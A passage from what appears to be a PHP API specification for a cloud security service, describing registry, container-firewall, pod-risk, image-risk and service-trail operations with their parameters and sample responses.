\\"7D46EDB0-xxx\\",\\n \\"AppNetwork\\": {\\n \\"Node\\": [\\n {\\n \\"RiskLevel\\": \\"0\\",\\n \\"Id\\": \\"1274\\",\\n \\"NamespaceId\\": \\"1\\",\\n \\"ContainerIds\\": [\\n \\"10a6c3fbaaxxx\\"\\n ],\\n \\"Type\\": \\"app\\",\\n \\"Name\\": \\"console\\"\\n }\\n ],\\n \\"Edge\\": [\\n {\\n \\"Id\\": \\"3534\\",\\n \\"SrcNodeId\\": \\"101\\",\\n \\"SrcNodeType\\": \\"app\\",\\n \\"DstNodeId\\": \\"102\\",\\n \\"DstNodeType\\": \\"app\\",\\n \\"Port\\": \\"8080\\"\\n }\\n ],\\n \\"Namespace\\": [\\n {\\n \\"Id\\": \\"1\\",\\n \\"Name\\": \\"default\\"\\n }\\n ]\\n }\\n}","type":"json"}]', 'title' => 'GetAppNetwork', ], 'AddPrivateRegistry' => [ 'summary' => 'Adds a self-managed image repository.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', ], 'parameters' => [ [ 'name' => 'RegistryType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the private image repository. Valid values:'."\n" ."\n" .'* **harbor**'."\n" .'* **quay**'."\n", 'type' => 'string', 'required' => true, 'example' => 'harbor', ], ], [ 'name' => 'RegistryVersion', 'in' => 'query', 'schema' => [ 'description' => 'The version of the image repository. Valid values:'."\n" ."\n" .'* **V1**'."\n" .'* **V2**'."\n", 'type' => 'string', 'required' => true, 'example' => 'V2', ], ], [ 'name' => 'ProtocolType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the protocol. Valid values:'."\n" ."\n" .'* **1**: HTTP'."\n" .'* **2**: HTTPS'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '2', ], ], [ 'name' => 'NetType', 'in' => 'query', 'schema' => [ 'description' => 'The network type. Valid values:'."\n" ."\n" .'* **1**: Internet'."\n" .'* **2**: virtual private cloud (VPC)'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '2', ], ], [ 'name' => 'VpcId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the VPC.'."\n", 'type' => 'string', 'required' => false, 'example' => 'vpc-wz9hs3e5*******908kd', ], ], [ 'name' => 'RegistryHostIp', 'in' => 'query', 'schema' => [ 'description' => 'The IP address of the image repository.'."\n", 'type' => 'string', 'required' => true, 'example' => '114.55.**.**', ], ], [ 'name' => 'DomainName', 'in' => 'query', 'schema' => [ 'description' => 'The domain name of the image repository.'."\n", 'type' => 'string', 'required' => true, 'example' => 'example.com', ], ], [ 'name' => 'UserName', 'in' => 'query', 'schema' => [ 'description' => 'The username that is used to log on to the image repository.'."\n", 'type' => 'string', 'required' => true, 'example' => 'xxxxx', ], ], [ 'name' => 'Password', 'in' => 'query', 'schema' => [ 'description' => 'The password that is used to log on to the image repository.'."\n", 'type' => 'string', 'required' => true, 'example' => '******', ], ], [ 'name' => 'RegistryRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID.'."\n" ."\n" .'> You can call the [ListImageRegistryRegion](~~ListImageRegistryRegion~~) operation to query the IDs of supported regions.'."\n", 'type' => 'string', 'required' => true, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'TransPerHour', 'in' => 'query', 'schema' => [ 'description' => 'The number of images that are scanned per hour.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'ExtraParam', 'in' => 'query', 'schema' => [ 'description' => 'The additional parameter of the image repository. This parameter is required when you set the RegistryType parameter to **quay**. Valid values:'."\n" ."\n" .'* **namespace**'."\n" .'* **authToken**'."\n", 'type' => 'string', 'required' => false, 'example' => '[{"namespace":"aa","authToken":"aa"}]', ], ], [ 'name' => 'Port', 'in' => 'query', 'schema' => [ 'description' => 'The port number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '80', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], 'Data' => [ 'description' => 'The handling result.'."\n", 'type' => 'object', 'properties' => [ 'VpcId' => [ 'description' => 'The ID of the VPC.'."\n", 'type' => 'string', 'example' => 'vpc-2vchkxmf2j9yjt3x2****', ], 'Token' => [ 'description' => 'The value of the token.'."\n", 'type' => 'string', 'example' => '3c3c602c-fa1f-4bc0-992f-b4b2cac7****', ], 'TransPerHour' => [ 'description' => 'The number of scan tasks that are performed per hour.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'AliUid' => [ 'description' => 'The ID of the user.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1766185894104***', ], 'RegistryType' => [ 'description' => 'The type of the image repository. Valid values:'."\n" ."\n" .'* **harbor**'."\n" .'* **quay**'."\n", 'type' => 'string', 'example' => 'harbor', ], 'DomainName' => [ 'description' => 'The domain name of the image repository.'."\n", 'type' => 'string', 'example' => 'example.com', ], 'RegionId' => [ 'description' => 'The region ID of the image repository.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'Password' => [ 'description' => 'The password.'."\n", 'type' => 'string', 'example' => '***********', ], 'NetType' => [ 'description' => 'The network type. Valid values:'."\n" ."\n" .'* **1**: Internet'."\n" .'* **2**: VPC'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2', ], 'RegistryVersion' => [ 'description' => 'The version of the image repository. Default value: -. Valid values:'."\n" ."\n" .'* **-**: the default version'."\n" .'* **V1**'."\n" .'* **V2**'."\n", 'type' => 'string', 'example' => 'V2', ], 'ProtocolType' => [ 'description' => 'The type of the protocol. Valid values:'."\n" ."\n" .'* **1**: HTTP'."\n" .'* **2**: HTTPS'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2', ], 'RegistryHostIp' => [ 'description' => 'The IP address of the image repository.'."\n", 'type' => 'string', 'example' => '114.55.**.**', ], 'UserName' => [ 'description' => 'The username.'."\n", 'type' => 'string', 'example' => '******', ], 'Id' => [ 'description' => 'The ID of the image repository.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '273698***', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"Data\\": {\\n \\"VpcId\\": \\"vpc-2vchkxmf2j9yjt3x2****\\",\\n \\"Token\\": \\"3c3c602c-fa1f-4bc0-992f-b4b2cac7****\\",\\n \\"TransPerHour\\": 10,\\n \\"AliUid\\": 0,\\n \\"RegistryType\\": \\"harbor\\",\\n \\"DomainName\\": \\"example.com\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Password\\": \\"***********\\",\\n \\"NetType\\": 2,\\n \\"RegistryVersion\\": \\"V2\\",\\n \\"ProtocolType\\": 2,\\n \\"RegistryHostIp\\": \\"114.55.**.**\\",\\n \\"UserName\\": \\"******\\",\\n \\"Id\\": 0\\n }\\n}","type":"json"}]', 'title' => 'AddPrivateRegistry', ], 'DeletePrivateRegistry' => [ 'summary' => 'Deletes a private image repository by using the ID of the image repository.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '91970', 'abilityTreeNodes' => [ 'FEATUREsasA217JR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'RegistryId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the image repository.'."\n" ."\n" .'> You can call the [PageImageRegistry](~~PageImageRegistry~~) operation to query the IDs of image repositories.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '22233', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '818E3B38-F018-50FF-9A85-5A521747****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"818E3B38-F018-50FF-9A85-5A521747****\\"\\n}","type":"json"}]', 'title' => 'DeletePrivateRegistry', ], 'GetClusterRuleSummary' => [ 'summary' => 'Queries the overall information about cluster defense rules that are configured for the container firewall feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of container clusters.'."\n", 'type' => 'string', 'required' => true, 'example' => 'cc49d88d1exxx', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '291B49F9-xxx', ], 'ClusterRuleSummary' => [ 'description' => 'The overall information about the cluster defense rules.'."\n", 'type' => 'object', 'properties' => [ 'InterceptionSwitch' => [ 'description' => 'The status of the container firewall feature. Valid values:'."\n" ."\n" .'* **0**: disabled'."\n" .'* **1**: enabled'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'CloseRuleCount' => [ 'description' => 'The number of disabled cluster defense rules.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'InterceptionType' => [ 'description' => 'The interception mode.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RuleCount' => [ 'description' => 'The total number of configured cluster defense rules.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'OpenRuleCount' => [ 'description' => 'The number of enabled cluster defense rules.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'SuggestRuleCount' => [ 'description' => 'The number of recommended cluster defense rules.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'InterceptionCount7Day' => [ 'description' => 'The number of alerts that are triggered by the cluster defense rules in the last seven days.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"291B49F9-xxx\\",\\n \\"ClusterRuleSummary\\": {\\n \\"InterceptionSwitch\\": 0,\\n \\"CloseRuleCount\\": 1,\\n \\"InterceptionType\\": 0,\\n \\"RuleCount\\": 10,\\n \\"OpenRuleCount\\": 1,\\n \\"SuggestRuleCount\\": 1,\\n \\"InterceptionCount7Day\\": 10\\n }\\n}","type":"json"}]', 'title' => 'GetClusterRuleSummary', ], 'ListPodRisk' => [ 'summary' => 'Queries the security risks of a pod.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '20', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~182997~~) operation to query the IDs of container clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c314aa5b2f208461dad821cdfed82****', ], ], [ 'name' => 'Namespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace of the Kubernetes cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'taas', ], ], [ 'name' => 'AppName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the application.'."\n", 'type' => 'string', 'required' => false, 'example' => 'nginx1', ], ], [ 'name' => 'PodName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the pod.'."\n", 'type' => 'string', 'required' => false, 'example' => 'abcd-84898334227-p****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '94254AD7-5026-5847-833B-403C2326BD6E', ], 'PodRiskList' => [ 'description' => 'An array that consists of the risks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk information.'."\n", 'type' => 'object', 'properties' => [ 'Pod' => [ 'description' => 'The name of the pod.'."\n", 'type' => 'string', 'example' => 'expoit-xxx-b****', ], 'NodeName' => [ 'description' => 'The name of the node.'."\n", 'type' => 'string', 'example' => 'test', ], 'ClusterId' => [ 'description' => 'The ID of the container cluster.'."\n", 'type' => 'string', 'example' => 'c1d903a628af043659a043af59d89****', ], 'PodIp' => [ 'description' => 'The IP address of the pod.'."\n", 'type' => 'string', 'example' => '172.0.XXX.XXX', ], 'CreateTime' => [ 'description' => 'The timestamp that indicates the time when the pod was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1644283112720', ], 'ClusterName' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'example' => 'test66', ], 'Namespace' => [ 'description' => 'The namespace of the Kubernetes cluster.'."\n", 'type' => 'string', 'example' => 'kube-system', ], 'VulCount' => [ 'description' => 'The number of vulnerabilities that are detected in the pod.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AlarmCount' => [ 'description' => 'The number of alerts that are generated for the pod.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'HcCount' => [ 'description' => 'The number of baseline risk items that are detected in the pod.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'InstanceId' => [ 'description' => 'The instance ID of the node.'."\n", 'type' => 'string', 'example' => 'i-7yvdq597****', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '29', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2-', ], 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"94254AD7-5026-5847-833B-403C2326BD6E\\",\\n \\"PodRiskList\\": [\\n {\\n \\"Pod\\": \\"expoit-xxx-b****\\",\\n \\"NodeName\\": \\"test\\",\\n \\"ClusterId\\": \\"c1d903a628af043659a043af59d89****\\",\\n \\"PodIp\\": \\"172.0.XXX.XXX\\",\\n \\"CreateTime\\": 1644283112720,\\n \\"ClusterName\\": \\"test66\\",\\n \\"Namespace\\": \\"kube-system\\",\\n \\"VulCount\\": 1,\\n \\"AlarmCount\\": 10,\\n \\"HcCount\\": 1,\\n \\"InstanceId\\": \\"i-7yvdq597****\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"TotalCount\\": 29,\\n \\"Count\\": 20,\\n \\"PageSize\\": 0,\\n \\"CurrentPage\\": 1\\n }\\n}","type":"json"}]', 'title' => 'ListPodRisk', ], 'ListImageRisk' => [ 'summary' => 'Queries security information about a container image.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the ID of the container cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c80f79959fd724a888e1187779b13****', ], ], [ 'name' => 'Namespace', 'in' => 'query', 'schema' => [ 'description' => 'The name of the namespace to which the repository belongs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'kube-sy****', ], ], [ 'name' => 'AppName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the application.'."\n", 'type' => 'string', 'required' => false, 'example' => 'e****', ], ], [ 'name' => 'ImageName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => 'container-***:****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '050ACC7A-D4FD-55C6-B861-BA9569C1****', ], 'ImageRiskList' => [ 'description' => 'An array that consists of security information about the image.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The security information about the image.'."\n", 'type' => 'object', 'properties' => [ 'RepoNamespace' => [ 'description' => 'The name of the namespace to which the repository belongs.'."\n", 'type' => 'string', 'example' => 'vultar***', ], 'RepoName' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'example' => 'scan_test', ], 'Tag' => [ 'description' => 'The tag that is added to the image.'."\n", 'type' => 'string', 'example' => '0.1.0', ], 'RegionId' => [ 'description' => 'The region of the image repository.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'Digest' => [ 'description' => 'The digest value of the image.'."\n", 'type' => 'string', 'example' => '3f8efc2184cf1d24936b49c27286a284714b77be34c80c9ee38ca6bf322445****', ], 'RepoId' => [ 'description' => 'The ID of the image repository.'."\n", 'type' => 'string', 'example' => 'crr-bk2l746eyxca1****', ], 'RepoType' => [ 'description' => 'The type of the repository. Valid values:'."\n" ."\n" .'* `PUBLIC`'."\n" .'* `PRIVATE`'."\n", 'type' => 'string', 'example' => 'PRIVATE', ], 'RegistryType' => [ 'description' => 'The type of the image repository. Valid values:'."\n" ."\n" .'* **acr**'."\n" .'* **harbor**'."\n" .'* **quay**'."\n" .'* **CI/CD**: Jenkins'."\n", 'type' => 'string', 'example' => 'harbor', ], 'Endpoints' => [ 'description' => 'The endpoint of Container Registry.'."\n", 'type' => 'string', 'example' => 'https://172.20.XXX.XXX/test', ], 'ImageId' => [ 'description' => 'The ID of the image.'."\n", 'type' => 'string', 'example' => 'f922bfeb6960436fe3f0e7b62fc6b9a0b47980986669c367c22433269404****', ], 'TagImmutable' => [ 'description' => 'Indicates whether the image version is immutable. If the image version is immutable, only the image of the latest version in the image repository can be overwritten. Valid values:'."\n" ."\n" .'* **0**: The image version is mutable.'."\n" .'* **1**: The image version is immutable.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Statistics' => [ 'description' => 'The statistics on a security event.'."\n", 'type' => 'string', 'example' => '{'."\n" .' "baselineNum": 0,'."\n" .' "newSuspicious": 0,'."\n" .' "vul": 0'."\n" .'}', ], 'ImageAccessType' => [ 'description' => 'The registration status of the image repository. Valid values:'."\n" ."\n" .'* **IN_SAS**: The image repository is registered with Security Center.'."\n" .'* **NOT_IN_SAS**: The image repository is not registered with Security Center.'."\n", 'type' => 'string', 'example' => 'IN_SAS', ], 'Image' => [ 'description' => 'The image of the container.'."\n", 'type' => 'string', 'example' => '.aliyuncs.com/sas_test/baseline:exploit', ], 'Uuid' => [ 'description' => 'The UUID of the image.'."\n", 'type' => 'string', 'example' => '624778f3-5bf2-423c-ac0c-47a62c05****', ], 'EndPointList' => [ 'description' => 'An array that consists of the details of the endpoint.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the endpoint.'."\n", 'type' => 'object', 'properties' => [ 'Domains' => [ 'description' => 'An array that consists the details of the domain name in the endpoint.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The domain name in the endpoint.'."\n", 'type' => 'string', 'example' => '****-registry-registry-intranet.cn-shenzhen.cr.aliyuncs.com', ], ], 'Type' => [ 'description' => 'The type of the domain name in the endpoint. Valid values:'."\n" ."\n" .'* **internet**: Internet'."\n" .'* **intranet**: internal network'."\n", 'type' => 'string', 'example' => 'internet', ], ], ], ], 'InternetURLs' => [ 'description' => 'The public endpoint of the image repository.'."\n", 'type' => 'string', 'example' => '****registry-registry.cn-shenzhen-finance-1.cr.aliyuncs.com/xxxx/docker-****', ], 'VpcURLs' => [ 'description' => 'The endpoint of the image repository in the VPC.'."\n", 'type' => 'string', 'example' => '****-registry-registry-vpc.cn-shenzhen-finance-1.cr.aliyuncs.com/xxxx/docker-****', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '23', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"050ACC7A-D4FD-55C6-B861-BA9569C1****\\",\\n \\"ImageRiskList\\": [\\n {\\n \\"RepoNamespace\\": \\"vultar***\\",\\n \\"RepoName\\": \\"scan_test\\",\\n \\"Tag\\": \\"0.1.0\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Digest\\": \\"3f8efc2184cf1d24936b49c27286a284714b77be34c80c9ee38ca6bf322445****\\",\\n \\"RepoId\\": \\"crr-bk2l746eyxca1****\\",\\n \\"RepoType\\": \\"PRIVATE\\",\\n \\"RegistryType\\": \\"harbor\\",\\n \\"Endpoints\\": \\"https://172.20.XXX.XXX/test\\",\\n \\"ImageId\\": \\"f922bfeb6960436fe3f0e7b62fc6b9a0b47980986669c367c22433269404****\\",\\n \\"TagImmutable\\": 0,\\n \\"Statistics\\": \\"{\\\\n\\\\t\\\\\\"baselineNum\\\\\\": 0,\\\\n\\\\t\\\\\\"newSuspicious\\\\\\": 0,\\\\n\\\\t\\\\\\"vul\\\\\\": 0\\\\n}\\",\\n \\"ImageAccessType\\": \\"IN_SAS\\",\\n \\"Image\\": \\".aliyuncs.com/sas_test/baseline:exploit\\",\\n \\"Uuid\\": \\"624778f3-5bf2-423c-ac0c-47a62c05****\\",\\n \\"EndPointList\\": [\\n {\\n \\"Domains\\": [\\n \\"****-registry-registry-intranet.cn-shenzhen.cr.aliyuncs.com\\"\\n ],\\n \\"Type\\": \\"internet\\"\\n }\\n ],\\n \\"InternetURLs\\": \\"****registry-registry.cn-shenzhen-finance-1.cr.aliyuncs.com/xxxx/docker-****\\",\\n \\"VpcURLs\\": \\"****-registry-registry-vpc.cn-shenzhen-finance-1.cr.aliyuncs.com/xxxx/docker-****\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"TotalCount\\": 23,\\n \\"Count\\": 3,\\n \\"PageSize\\": 20,\\n \\"CurrentPage\\": 1\\n }\\n}","type":"json"}]', 'title' => 'ListImageRisk', ], 'DeleteServiceTrail' => [ 'summary' => 'Deletes a service trail.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '160789', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'RegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region in which your Security Center service is deployed. Valid values:'."\n" ."\n" .'* **cn-hangzhou**: center.'."\n" .'* **ap-southeast-1**: Singapore.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '20456DD5-5CBF-5015-9173-12CA4246B***', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"20456DD5-5CBF-5015-9173-12CA4246B***\\"\\n}","type":"json"}]', 'title' => 'DeleteServiceTrail', ], 'GetServiceTrail' => [ 'summary' => 'Queries the service trail that was delivered to ActionTrail.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'RegionId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the region in which the instance resides. Valid value:'."\n" ."\n" .'* **cn-hangzhou**: center.'."\n" .'* **ap-southeast-1**: Singapore.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'C699E4E4-F2F4-58FC-A949-457FFE59****', ], 'ServiceTrail' => [ 'description' => 'The configurations of the service trail.'."\n", 'type' => 'object', 'properties' => [ 'Config' => [ 'description' => 'The status of the service trail. Valid values:'."\n" ."\n" .'* **on:**'."\n" .'* **off:**'."\n", 'type' => 'string', 'example' => 'on', ], 'CreateTime' => [ 'description' => 'The timestamp generated when the service trail was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1687250241000', ], 'UpdateTime' => [ 'description' => 'The timestamp generated when the service trail was last updated. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1687250241000', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C699E4E4-F2F4-58FC-A949-457FFE59****\\",\\n \\"ServiceTrail\\": {\\n \\"Config\\": \\"on\\",\\n \\"CreateTime\\": 1687250241000,\\n \\"UpdateTime\\": 1687250241000\\n }\\n}","type":"json"}]', 'title' => 'GetServiceTrail', ], 'CreateServiceTrail' => [ 'summary' => 'Create a service trail.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '160790', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'RegionId', 'in' => 'query', 'schema' => [ 'description' => 'The 